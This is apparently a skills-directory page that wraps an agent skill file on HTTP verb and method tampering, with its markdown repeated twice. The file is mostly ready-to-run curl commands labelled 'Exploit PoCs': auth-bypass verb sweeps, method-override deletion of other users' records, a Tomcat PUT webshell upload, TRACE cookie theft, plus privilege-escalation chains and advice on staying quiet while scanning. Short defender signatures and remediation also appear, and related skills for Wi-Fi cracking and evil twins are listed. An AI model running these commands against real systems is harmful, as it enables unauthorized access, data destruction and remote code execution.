[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7DFV7NJS4CG4Q3QH5H07B12":3,"skill-same:01M7DFV7NJS4CG4Q3QH5H07B12":50},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":30,"commitSha":31,"skillDirectory":32,"forksCount":14,"repositoryHtmlUrl":33,"repositoryHomepageUrl":6,"ownerHtmlUrl":34,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":35,"install":36,"resources":49},"01M7DFV7NJS4CG4Q3QH5H07B12","verb-tampering",null,"HTTP verb\u002Fmethod tampering — auth bypass via HEAD\u002FOPTIONS\u002Farbitrary methods, X-HTTP-Method-Override, TRACE\u002FPUT\u002FDELETE exposure, framework routing flaws.","Akapi895\u002Fraptix","Akapi895","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F83953516?v=4","01M7DEGNDGERR4F4YETDFVA512","Phạm Anh Tuấn","01M7DEGNEHYZNA920AYM5EH7H8",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fexploit\u002Fweb\u002Fverb-tampering\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: verb-tampering\ndescription: \"HTTP verb\u002Fmethod tampering — auth bypass via HEAD\u002FOPTIONS\u002Farbitrary methods, X-HTTP-Method-Override, TRACE\u002FPUT\u002FDELETE exposure, framework routing flaws.\"\nallowed-tools: Bash Read Write\nmetadata:\n  subdomain: execution\n  when_to_use: \"HTTP verb tampering, method tampering, HEAD bypass, OPTIONS bypass, X-HTTP-Method-Override, X-Method-Override, TRACE, PUT, DELETE, PATCH, method-based authorization, BFLA via method\"\n  tags: verb-tampering, method-tampering, auth-bypass, bfla\n  mitre_attack: T1190\n---\n\n# HTTP Verb \u002F Method Tampering\n\nAuthorization is enforced for `GET`\u002F`POST` but **not** for `HEAD`, `OPTIONS`, `PATCH`, `DELETE`, `PUT`, `TRACE`, `TRACK`, or arbitrary verbs like `FOO`. Or the app respects `X-HTTP-Method-Override` and the WAF\u002Fauth filter does not. Or the framework routes any verb to the same handler while only the `POST` ACL rule exists. Severity is High to Critical when it grants admin-only actions or reads protected data.\n\n## 1. Why it works\n\n- Apache\u002Fnginx `Limit`\u002F`LimitExcept` rules in `.htaccess` often list only `GET POST`. Any other verb is unrestricted.\n- Tomcat \u002F JSP `\u003Csecurity-constraint>\u003Chttp-method>GET\u003C\u002Fhttp-method>` only constrains the listed verbs (the famous \"Tomcat verb tampering\" class — CVE-2017-12615, CVE-2009-3548 family).\n- API gateways enforce method-specific policies; the upstream service treats verbs identically.\n- Spring `@RequestMapping` without `method=` accepts every verb. `@GetMapping`\u002F`@PostMapping` constrain, but generic mappings do not.\n- Express.js `app.all(path, handler)` answers every method.\n- Framework method-override middleware (`methodOverride` in Express, Rails `_method=DELETE`, `X-HTTP-Method-Override` in many) lets a `POST` *become* a `DELETE` after auth runs.\n- Many WAFs ship rule sets keyed on `GET`\u002F`POST` only.\n\n## 2. Detection — does the endpoint answer non-standard verbs?\n\n```bash\n# Verb sweep\nfor m in GET HEAD POST PUT PATCH DELETE OPTIONS TRACE TRACK CONNECT PROPFIND COPY MOVE LOCK UNLOCK MKCOL FOO; do\n  code=$(curl -sk -o \u002Fdev\u002Fnull -w '%{http_code} %{size_download}' -X \"$m\" \"http:\u002F\u002F\u003CTARGET>\u002Fadmin\u002Fusers\")\n  printf '%-10s -> %s\\n' \"$m\" \"$code\"\ndone\n\n# Compare auth-required endpoint without creds, per verb\nfor m in GET HEAD POST PUT PATCH DELETE OPTIONS; do\n  curl -sk -o \u002Fdev\u002Fnull -w \"%-7s %{http_code}\\n\" -X \"$m\" \"http:\u002F\u002F\u003CTARGET>\u002Fadmin\u002Fsecret\"\ndone\n# If GET=401 but HEAD\u002FOPTIONS=200 → verb-based auth bypass candidate.\n```\n\n`HEAD` is the highest-yield: per RFC 9110 it MUST be treated like `GET` minus the body, but servers diverge — middleware sometimes short-circuits auth on `HEAD`. Response headers and status leak data even with no body.\n\n```bash\n# HEAD bypass — read protected response headers (Set-Cookie, Location, ETag, Content-Length)\ncurl -sk -I -X HEAD \"http:\u002F\u002F\u003CTARGET>\u002Fadmin\u002Fexport.csv\"\n```\n\n## 3. Method-override headers\n\nThe app overrides the real method with the value of a header **after** the WAF\u002Fauth has classified the request as `POST` (allowed) or `GET` (allowed).\n\n```bash\n# Common override headers\nfor h in 'X-HTTP-Method-Override' 'X-HTTP-Method' 'X-Method-Override' 'X-Original-Method'; do\n  curl -sk -X POST -H \"$h: DELETE\" \"http:\u002F\u002F\u003CTARGET>\u002Fadmin\u002Fusers\u002F1337\" \\\n    -o \u002Fdev\u002Fnull -w \"%-26s %{http_code}\\n\" -H \"Cookie: session=$LOWPRIV\"\ndone\n\n# Rails \u002F Laravel — _method in form body\ncurl -sk -X POST \"http:\u002F\u002F\u003CTARGET>\u002Fposts\u002F42\" \\\n  -H 'Content-Type: application\u002Fx-www-form-urlencoded' \\\n  --data '_method=DELETE' -b \"session=$LOWPRIV\"\n\n# Verb tunnelled through GET (some legacy frameworks)\ncurl -sk \"http:\u002F\u002F\u003CTARGET>\u002Fadmin\u002Fdelete?_method=DELETE&id=42\" -b \"session=$LOWPRIV\"\n```\n\n## 4. Bypass patterns\n\n| Pattern | Mechanic |\n|---|---|\n| `.htaccess` Limit | `\u003CLimit GET POST>require valid-user\u003C\u002FLimit>` blocks GET\u002FPOST only — try `HEAD`, `PUT`, custom verb. |\n| Tomcat `\u003Chttp-method>` constraint | The constraint applies **only** to listed methods. Use any other. |\n| Spring generic `@RequestMapping(\"\u002Fpath\")` | Every verb routes here. Author meant only `POST`. |\n| Express `app.all` \u002F no method-guard | Same. |\n| Method-override after auth | `POST \u002Flow-priv` allowed; `X-HTTP-Method-Override: DELETE` upgrades. |\n| `_method=PATCH` body field | Rails\u002FLaravel\u002FSymfony idiom; the auth layer saw a POST. |\n| WAF gating on `GET`\u002F`POST` only | Send the payload as `PATCH` or `FOO`. |\n| TRACE\u002FTRACK enabled | XST — reflects request headers, used to read HttpOnly cookies in legacy XSS chains. |\n| WebDAV verbs (`PROPFIND`, `COPY`, `MOVE`, `PUT`, `MKCOL`) on IIS\u002FApache | Direct file upload \u002F RCE on misconfigured WebDAV. |\n| `OPTIONS *` | Discloses enabled methods on the whole server: `curl -X OPTIONS -i http:\u002F\u002F\u003CTARGET>\u002F* | grep -i allow`. |\n\n## 5. Exploit PoCs\n\n### 5.1 Admin action via HEAD bypass\n\n```bash\n# Trigger admin action where HEAD reaches handler logic without auth\ncurl -sk -I -X HEAD \"http:\u002F\u002F\u003CTARGET>\u002Fadmin\u002Fcache\u002Fflush\" -o \u002Fdev\u002Fnull -w '%{http_code}\\n'\n# Confirm side-effect:\ncurl -sk \"http:\u002F\u002F\u003CTARGET>\u002Fapi\u002Fcache\u002Fsize\"\n```\n\n### 5.2 Method-override DELETE\n\n```bash\n# Low-priv user can POST. Override flips to DELETE on a record they shouldn't touch.\ncurl -sk -X POST \"http:\u002F\u002F\u003CTARGET>\u002Fapi\u002Fv1\u002Fusers\u002F9001\" \\\n  -H 'X-HTTP-Method-Override: DELETE' \\\n  -H \"Authorization: Bearer $LOWPRIV_JWT\" -i\n```\n\n### 5.3 Tomcat PUT → JSP webshell (CVE-2017-12615 family)\n\n```bash\ncurl -sk -X PUT \"http:\u002F\u002F\u003CTARGET>\u002Fuploads\u002Fshell.jsp\u002F\" \\\n  --data-binary @shell.jsp -H 'Content-Type: application\u002Foctet-stream' -i\n# Trailing slash on the URI defeats the JSP filter on vulnerable Tomcats.\ncurl -sk \"http:\u002F\u002F\u003CTARGET>\u002Fuploads\u002Fshell.jsp?cmd=id\"\n```\n\n### 5.4 OPTIONS leak + CORS pivot\n\n```bash\ncurl -sk -X OPTIONS \"http:\u002F\u002F\u003CTARGET>\u002Fapi\u002Fadmin\" -i | grep -iE 'allow|access-control-allow-methods'\n# Use any listed method that bypasses auth in step 2.\n```\n\n### 5.5 TRACE \u002F XST\n\n```bash\ncurl -sk -X TRACE \"http:\u002F\u002F\u003CTARGET>\u002F\" -H 'X-Stolen: cookie-via-XSS' -i\n# If TRACE echoes the request, XST chain with reflected XSS can read HttpOnly cookies.\n```\n\n### 5.6 Arbitrary verb\n\n```bash\n# Some servers route ANY method to the same handler — including FOO\u002FBAR.\ncurl -sk -X FOO \"http:\u002F\u002F\u003CTARGET>\u002Fadmin\u002Fusers\" -i\n```\n\n## 6. Chains\n\n| Chain | Mechanic |\n|---|---|\n| **BFLA \u002F IDOR** | Object scoping checked on `GET`, missing on `DELETE`\u002F`PUT` — delete or modify other tenants' resources. |\n| **Privilege escalation** | `POST \u002Fusers` allowed → `X-HTTP-Method-Override: PUT` to overwrite `role=admin`. |\n| **Mass-assignment** | `PATCH` accepted where `POST` is parameter-filtered — submit hidden fields. |\n| **WAF bypass** | Whole rule sets attached only to `GET`\u002F`POST`. Re-issue payload as `PATCH`. |\n| **File RCE** | WebDAV `PUT`\u002F`PROPFIND`\u002F`MOVE` on IIS\u002FTomcat → write executable into web root. |\n| **XST** | `TRACE` + reflected XSS → exfil HttpOnly cookies (now mostly mitigated by browsers, but still credible in custom clients). |\n| **OPSEC noise reduction** | `HEAD` produces no response body — quieter scanning than `GET`. |\n\n## 7. Tools\n\n- Burp Suite — Repeater \"Change request method\", Intruder verb-payload list, **HTTP Method Interchange** extension.\n- `nuclei -t http\u002Fmisconfiguration\u002Fhttp-method-tampering*` \u002F `http\u002Fmisconfiguration\u002Ftrace-method.yaml`.\n- `nikto -Tuning 6` — method\u002Ffile checks.\n- `httpx -methods GET,POST,PUT,DELETE,PATCH,OPTIONS,HEAD,TRACE -path \u002Fadmin -mc 200,302`.\n- `davtest` \u002F `cadaver` for WebDAV.\n- `ffuf -X PATCH` etc. — fuzz every endpoint with each method.\n\n## 8. Detection signatures (defenders)\n\n| Signal | Source |\n|---|---|\n| Non-standard verbs in access logs (`PATCH`, `TRACE`, `FOO`) | nginx \u002F Apache logs |\n| `X-HTTP-Method-Override` header present and request body indicates state-change | WAF \u002F reverse proxy logs |\n| `OPTIONS` requests with `Origin` from outside CORS allowlist returning 2xx | API gateway logs |\n| Successful `HEAD` on a `GET-401` path | correlation rule |\n| Auth filter sees method `POST`, handler logs method `DELETE` | app telemetry |\n| `TRACE`\u002F`TRACK` enabled at all | config audit |\n\nRemediation: enforce auth before method routing; treat `HEAD` as `GET` for auth purposes; ignore method-override headers unless explicitly required; allowlist methods per route (`405` everything else); disable `TRACE`\u002F`TRACK`\u002Funused WebDAV verbs at the server.\n\n## 9. Decision gate\n\n| Observation | Action |\n|---|---|\n| Verb sweep shows divergent status on protected path | Confirm with a state-changing PoC, escalate |\n| `X-HTTP-Method-Override` flips the action | Chain to BFLA\u002FIDOR\u002Fmass-assignment |\n| Only response-size difference, no auth bypass | Low — fold into recon |\n| `TRACE` echoes but no reflected XSS available | Note for chaining, do not over-report |\n| PUT\u002FWebDAV writes a file under web root | Critical, jump to RCE chain |\n\n## Cross-references\n\n- BFLA \u002F object-level auth: `skills\u002Fstandard\u002Fexploit\u002Fweb\u002Fbfla\u002FSKILL.md`\n- Mass-assignment: `skills\u002Fstandard\u002Fexploit\u002Fweb\u002Fmass-assignment\u002FSKILL.md`\n- HPP (sister parser-discrepancy class): `skills\u002Fstandard\u002Fexploit\u002Fweb\u002Fhpp\u002FSKILL.md`\n- WAF bypass: `skills\u002Fstandard\u002Fexploit\u002Fweb\u002Fwaf-bypass\u002FSKILL.md`\n- File upload \u002F WebDAV RCE: `skills\u002Fstandard\u002Fexploit\u002Fweb\u002Ffile-upload\u002FSKILL.md`\n","# HTTP Verb \u002F Method Tampering\n\nAuthorization is enforced for `GET`\u002F`POST` but **not** for `HEAD`, `OPTIONS`, `PATCH`, `DELETE`, `PUT`, `TRACE`, `TRACK`, or arbitrary verbs like `FOO`. Or the app respects `X-HTTP-Method-Override` and the WAF\u002Fauth filter does not. Or the framework routes any verb to the same handler while only the `POST` ACL rule exists. Severity is High to Critical when it grants admin-only actions or reads protected data.\n\n## 1. Why it works\n\n- Apache\u002Fnginx `Limit`\u002F`LimitExcept` rules in `.htaccess` often list only `GET POST`. Any other verb is unrestricted.\n- Tomcat \u002F JSP `\u003Csecurity-constraint>\u003Chttp-method>GET\u003C\u002Fhttp-method>` only constrains the listed verbs (the famous \"Tomcat verb tampering\" class — CVE-2017-12615, CVE-2009-3548 family).\n- API gateways enforce method-specific policies; the upstream service treats verbs identically.\n- Spring `@RequestMapping` without `method=` accepts every verb. `@GetMapping`\u002F`@PostMapping` constrain, but generic mappings do not.\n- Express.js `app.all(path, handler)` answers every method.\n- Framework method-override middleware (`methodOverride` in Express, Rails `_method=DELETE`, `X-HTTP-Method-Override` in many) lets a `POST` *become* a `DELETE` after auth runs.\n- Many WAFs ship rule sets keyed on `GET`\u002F`POST` only.\n\n## 2. Detection — does the endpoint answer non-standard verbs?\n\n```bash\n# Verb sweep\nfor m in GET HEAD POST PUT PATCH DELETE OPTIONS TRACE TRACK CONNECT PROPFIND COPY MOVE LOCK UNLOCK MKCOL FOO; do\n  code=$(curl -sk -o \u002Fdev\u002Fnull -w '%{http_code} %{size_download}' -X \"$m\" \"http:\u002F\u002F\u003CTARGET>\u002Fadmin\u002Fusers\")\n  printf '%-10s -> %s\\n' \"$m\" \"$code\"\ndone\n\n# Compare auth-required endpoint without creds, per verb\nfor m in GET HEAD POST PUT PATCH DELETE OPTIONS; do\n  curl -sk -o \u002Fdev\u002Fnull -w \"%-7s %{http_code}\\n\" -X \"$m\" \"http:\u002F\u002F\u003CTARGET>\u002Fadmin\u002Fsecret\"\ndone\n# If GET=401 but HEAD\u002FOPTIONS=200 → verb-based auth bypass candidate.\n```\n\n`HEAD` is the highest-yield: per RFC 9110 it MUST be treated like `GET` minus the body, but servers diverge — middleware sometimes short-circuits auth on `HEAD`. Response headers and status leak data even with no body.\n\n```bash\n# HEAD bypass — read protected response headers (Set-Cookie, Location, ETag, Content-Length)\ncurl -sk -I -X HEAD \"http:\u002F\u002F\u003CTARGET>\u002Fadmin\u002Fexport.csv\"\n```\n\n## 3. Method-override headers\n\nThe app overrides the real method with the value of a header **after** the WAF\u002Fauth has classified the request as `POST` (allowed) or `GET` (allowed).\n\n```bash\n# Common override headers\nfor h in 'X-HTTP-Method-Override' 'X-HTTP-Method' 'X-Method-Override' 'X-Original-Method'; do\n  curl -sk -X POST -H \"$h: DELETE\" \"http:\u002F\u002F\u003CTARGET>\u002Fadmin\u002Fusers\u002F1337\" \\\n    -o \u002Fdev\u002Fnull -w \"%-26s %{http_code}\\n\" -H \"Cookie: session=$LOWPRIV\"\ndone\n\n# Rails \u002F Laravel — _method in form body\ncurl -sk -X POST \"http:\u002F\u002F\u003CTARGET>\u002Fposts\u002F42\" \\\n  -H 'Content-Type: application\u002Fx-www-form-urlencoded' \\\n  --data '_method=DELETE' -b \"session=$LOWPRIV\"\n\n# Verb tunnelled through GET (some legacy frameworks)\ncurl -sk \"http:\u002F\u002F\u003CTARGET>\u002Fadmin\u002Fdelete?_method=DELETE&id=42\" -b \"session=$LOWPRIV\"\n```\n\n## 4. Bypass patterns\n\n| Pattern | Mechanic |\n|---|---|\n| `.htaccess` Limit | `\u003CLimit GET POST>require valid-user\u003C\u002FLimit>` blocks GET\u002FPOST only — try `HEAD`, `PUT`, custom verb. |\n| Tomcat `\u003Chttp-method>` constraint | The constraint applies **only** to listed methods. Use any other. |\n| Spring generic `@RequestMapping(\"\u002Fpath\")` | Every verb routes here. Author meant only `POST`. |\n| Express `app.all` \u002F no method-guard | Same. |\n| Method-override after auth | `POST \u002Flow-priv` allowed; `X-HTTP-Method-Override: DELETE` upgrades. |\n| `_method=PATCH` body field | Rails\u002FLaravel\u002FSymfony idiom; the auth layer saw a POST. |\n| WAF gating on `GET`\u002F`POST` only | Send the payload as `PATCH` or `FOO`. |\n| TRACE\u002FTRACK enabled | XST — reflects request headers, used to read HttpOnly cookies in legacy XSS chains. |\n| WebDAV verbs (`PROPFIND`, `COPY`, `MOVE`, `PUT`, `MKCOL`) on IIS\u002FApache | Direct file upload \u002F RCE on misconfigured WebDAV. |\n| `OPTIONS *` | Discloses enabled methods on the whole server: `curl -X OPTIONS -i http:\u002F\u002F\u003CTARGET>\u002F* | grep -i allow`. |\n\n## 5. Exploit PoCs\n\n### 5.1 Admin action via HEAD bypass\n\n```bash\n# Trigger admin action where HEAD reaches handler logic without auth\ncurl -sk -I -X HEAD \"http:\u002F\u002F\u003CTARGET>\u002Fadmin\u002Fcache\u002Fflush\" -o \u002Fdev\u002Fnull -w '%{http_code}\\n'\n# Confirm side-effect:\ncurl -sk \"http:\u002F\u002F\u003CTARGET>\u002Fapi\u002Fcache\u002Fsize\"\n```\n\n### 5.2 Method-override DELETE\n\n```bash\n# Low-priv user can POST. Override flips to DELETE on a record they shouldn't touch.\ncurl -sk -X POST \"http:\u002F\u002F\u003CTARGET>\u002Fapi\u002Fv1\u002Fusers\u002F9001\" \\\n  -H 'X-HTTP-Method-Override: DELETE' \\\n  -H \"Authorization: Bearer $LOWPRIV_JWT\" -i\n```\n\n### 5.3 Tomcat PUT → JSP webshell (CVE-2017-12615 family)\n\n```bash\ncurl -sk -X PUT \"http:\u002F\u002F\u003CTARGET>\u002Fuploads\u002Fshell.jsp\u002F\" \\\n  --data-binary @shell.jsp -H 'Content-Type: application\u002Foctet-stream' -i\n# Trailing slash on the URI defeats the JSP filter on vulnerable Tomcats.\ncurl -sk \"http:\u002F\u002F\u003CTARGET>\u002Fuploads\u002Fshell.jsp?cmd=id\"\n```\n\n### 5.4 OPTIONS leak + CORS pivot\n\n```bash\ncurl -sk -X OPTIONS \"http:\u002F\u002F\u003CTARGET>\u002Fapi\u002Fadmin\" -i | grep -iE 'allow|access-control-allow-methods'\n# Use any listed method that bypasses auth in step 2.\n```\n\n### 5.5 TRACE \u002F XST\n\n```bash\ncurl -sk -X TRACE \"http:\u002F\u002F\u003CTARGET>\u002F\" -H 'X-Stolen: cookie-via-XSS' -i\n# If TRACE echoes the request, XST chain with reflected XSS can read HttpOnly cookies.\n```\n\n### 5.6 Arbitrary verb\n\n```bash\n# Some servers route ANY method to the same handler — including FOO\u002FBAR.\ncurl -sk -X FOO \"http:\u002F\u002F\u003CTARGET>\u002Fadmin\u002Fusers\" -i\n```\n\n## 6. Chains\n\n| Chain | Mechanic |\n|---|---|\n| **BFLA \u002F IDOR** | Object scoping checked on `GET`, missing on `DELETE`\u002F`PUT` — delete or modify other tenants' resources. |\n| **Privilege escalation** | `POST \u002Fusers` allowed → `X-HTTP-Method-Override: PUT` to overwrite `role=admin`. |\n| **Mass-assignment** | `PATCH` accepted where `POST` is parameter-filtered — submit hidden fields. |\n| **WAF bypass** | Whole rule sets attached only to `GET`\u002F`POST`. Re-issue payload as `PATCH`. |\n| **File RCE** | WebDAV `PUT`\u002F`PROPFIND`\u002F`MOVE` on IIS\u002FTomcat → write executable into web root. |\n| **XST** | `TRACE` + reflected XSS → exfil HttpOnly cookies (now mostly mitigated by browsers, but still credible in custom clients). |\n| **OPSEC noise reduction** | `HEAD` produces no response body — quieter scanning than `GET`. |\n\n## 7. Tools\n\n- Burp Suite — Repeater \"Change request method\", Intruder verb-payload list, **HTTP Method Interchange** extension.\n- `nuclei -t http\u002Fmisconfiguration\u002Fhttp-method-tampering*` \u002F `http\u002Fmisconfiguration\u002Ftrace-method.yaml`.\n- `nikto -Tuning 6` — method\u002Ffile checks.\n- `httpx -methods GET,POST,PUT,DELETE,PATCH,OPTIONS,HEAD,TRACE -path \u002Fadmin -mc 200,302`.\n- `davtest` \u002F `cadaver` for WebDAV.\n- `ffuf -X PATCH` etc. — fuzz every endpoint with each method.\n\n## 8. Detection signatures (defenders)\n\n| Signal | Source |\n|---|---|\n| Non-standard verbs in access logs (`PATCH`, `TRACE`, `FOO`) | nginx \u002F Apache logs |\n| `X-HTTP-Method-Override` header present and request body indicates state-change | WAF \u002F reverse proxy logs |\n| `OPTIONS` requests with `Origin` from outside CORS allowlist returning 2xx | API gateway logs |\n| Successful `HEAD` on a `GET-401` path | correlation rule |\n| Auth filter sees method `POST`, handler logs method `DELETE` | app telemetry |\n| `TRACE`\u002F`TRACK` enabled at all | config audit |\n\nRemediation: enforce auth before method routing; treat `HEAD` as `GET` for auth purposes; ignore method-override headers unless explicitly required; allowlist methods per route (`405` everything else); disable `TRACE`\u002F`TRACK`\u002Funused WebDAV verbs at the server.\n\n## 9. Decision gate\n\n| Observation | Action |\n|---|---|\n| Verb sweep shows divergent status on protected path | Confirm with a state-changing PoC, escalate |\n| `X-HTTP-Method-Override` flips the action | Chain to BFLA\u002FIDOR\u002Fmass-assignment |\n| Only response-size difference, no auth bypass | Low — fold into recon |\n| `TRACE` echoes but no reflected XSS available | Note for chaining, do not over-report |\n| PUT\u002FWebDAV writes a file under web root | Critical, jump to RCE chain |\n\n## Cross-references\n\n- BFLA \u002F object-level auth: `skills\u002Fstandard\u002Fexploit\u002Fweb\u002Fbfla\u002FSKILL.md`\n- Mass-assignment: `skills\u002Fstandard\u002Fexploit\u002Fweb\u002Fmass-assignment\u002FSKILL.md`\n- HPP (sister parser-discrepancy class): `skills\u002Fstandard\u002Fexploit\u002Fweb\u002Fhpp\u002FSKILL.md`\n- WAF bypass: `skills\u002Fstandard\u002Fexploit\u002Fweb\u002Fwaf-bypass\u002FSKILL.md`\n- File upload \u002F WebDAV RCE: `skills\u002Fstandard\u002Fexploit\u002Fweb\u002Ffile-upload\u002FSKILL.md`\n",{"name":5,"metadata":24,"description":7,"allowed-tools":29},{"tags":25,"subdomain":26,"when_to_use":27,"mitre_attack":28},"verb-tampering, method-tampering, auth-bypass, bfla","execution","HTTP verb tampering, method tampering, HEAD bypass, OPTIONS bypass, X-HTTP-Method-Override, X-Method-Override, TRACE, PUT, DELETE, PATCH, method-based authorization, BFLA via method","T1190","Bash Read Write","master","8e5d356b795eae2edd4a26509a4b8968e2c4c251","packages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fexploit\u002Fweb\u002Fverb-tampering","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix","https:\u002F\u002Fgithub.com\u002FAkapi895","2026-11-06 17:46:09",{"source":8,"skillName":5,"commands":37,"prompt":47,"zipAvailable":48},[38,41,44],{"tool":39,"command":40},"npx","npx skills add Akapi895\u002Fraptix --skill verb-tampering",{"tool":42,"command":43},"bunx","bunx skills add Akapi895\u002Fraptix --skill verb-tampering",{"tool":45,"command":46},"pnpm","pnpm dlx skills add Akapi895\u002Fraptix --skill verb-tampering","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fexploit\u002Fweb\u002Fverb-tampering\u002FSKILL.md",true,[],[51,58,65,72,79,86],{"skillNo":52,"name":53,"nameZh":6,"description":54,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":55,"categories":56,"keywords":57,"publishedAt":19},"01M7DGM32SRP4FZSPYWY621BKQ","wps-pixie-dust","WPS Pixie-Dust offline nonce attack (reaver -K \u002F pixiewps) and fallback online PIN brute (bully) to recover the AP's WPA PSK without capturing a handshake.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwps-pixie-dust\u002FSKILL.md",[],[],{"skillNo":59,"name":60,"nameZh":6,"description":61,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":62,"categories":63,"keywords":64,"publishedAt":19},"01M7DGKXXVDTY0KBZZR83VFPZX","wpa3-sae","WPA3-SAE transition-mode downgrade (DragonShift), SSID Confusion CVE-2023-52424, Dragonblood side-channels, and SAE captive-portal credential recovery against WPA3-Personal networks.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa3-sae\u002FSKILL.md",[],[],{"skillNo":66,"name":67,"nameZh":6,"description":68,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":69,"categories":70,"keywords":71,"publishedAt":19},"01M7DGKSV77ENX3D6TG2HQX9MK","wpa2-psk","WPA\u002FWPA2-PSK handshake capture via targeted deauth + PMKID (no deauth required) + offline hashcat cracking. The most common consumer\u002FSMB encryption mode in 2026.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa2-psk\u002FSKILL.md",[],[],{"skillNo":73,"name":74,"nameZh":6,"description":75,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":76,"categories":77,"keywords":78,"publishedAt":19},"01M7DGKJ9R6YTFRFBSEAJRGGKF","wpa-enterprise-eap","WPA\u002FWPA2\u002FWPA3-Enterprise (802.1X\u002FEAP) rogue-RADIUS evil-twin for MSCHAPv2 capture, GTC downgrade, and PEAP relay. MSCHAPv2 capture equals a NetNTLM hash — the primary wireless on-ramp to Active Directory.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa-enterprise-eap\u002FSKILL.md",[],[],{"skillNo":80,"name":81,"nameZh":6,"description":82,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":83,"categories":84,"keywords":85,"publishedAt":19},"01M7DGKCFZGKK2EQMWZM1A18S8","krack-fragattacks","KRACK key-reinstallation (CVE-2017-13077..13082) and FragAttacks fragmentation\u002Faggregation flaws (CVE-2020-24586..24588, CVE-2020-26139..26147) against legacy or embedded 802.11 supplicants with poor patch cadence.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fkrack-fragattacks\u002FSKILL.md",[],[],{"skillNo":87,"name":88,"nameZh":6,"description":89,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":90,"categories":91,"keywords":92,"publishedAt":19},"01M7DGK76MKZQWBXTZN82W7214","evil-twin-karma","Evil-twin rogue AP with KARMA\u002FMana PNL-probe response, captive-portal credential capture, and post-association MITM for PSK\u002Fopen networks. Distinct from wpa-enterprise-eap which targets 802.1X.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fevil-twin-karma\u002FSKILL.md",[],[]]